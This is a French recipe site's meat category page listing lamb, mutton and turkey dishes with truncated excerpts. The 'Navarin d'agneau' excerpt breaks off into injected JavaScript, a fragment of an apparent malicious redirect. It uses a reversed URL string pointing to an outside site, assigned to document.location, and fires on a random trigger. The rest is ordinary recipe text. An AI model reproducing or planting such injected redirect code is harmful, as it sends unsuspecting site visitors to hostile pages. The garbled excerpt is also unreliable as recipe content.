Catégorie : Viandes
Mouton avec des cœurs d’artichauts
Effilez les pois gourmands, écossez les petits pois, coupez en 2 les cœurs d’artichauts. Coupez ...
Christine.. Lire la suiteAgneau aux aubergines et aux chasselas
Coupez-les aubergines en rondelles, les enduire d’huile d’olive. Salez et poivrez. Préchauffez le four à ...
Christine.. Lire la suiteSauté d’agneau à la poulette
Coupez l’épaule d’agneau en morceaux. Dans une cocotte avec de l’huile d’arachide, sur feu vif, ...
Christine.. Lire la suiteRoulés de dinde à la moutarde à l’ancienne
Étalez les escalopes de dinde sur une planche à découper et les aplatir en les ...
Christine. Lire la suiteTarte au poulet, potiron, tomates et mozzarella
Dans une assiette creuse mélangez le parmesan et la chapelure. Dans une poêle avec 2 ...
Christine. Lire la suiteEscalopes de dinde sauce caramel et Rostis
Préparez les Rostis en éminçant les oignons. Coupez les pommes de terre cuites en fines ...
Christine. Lire la suiteNavarin d’agneau
Coupez l’épaule et le collier en tranches. Rincez, épépinez, Coupez-les tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = ...
Christine.. Lire la suiteGigot aux épices
Dans un bol mélangez la gousse d’ail écrasée, la moutarde, le jaune d’œuf, incorporez peu ...
Christine.. Lire la suiteAgneau aux pruneaux et aux amandes
Coupez la viande en cubes. Dans une cocotte avec 2 cuillères à soupe l’huile d’arachide, ...
Christine.. Lire la suiteCarré d’agneau à la bordelaise
Pelez, rincez, coupez en petits cubes les pommes de terre. Dans une casserole d’eau froide ...
Christine.. Lire la suiteLes Recettes
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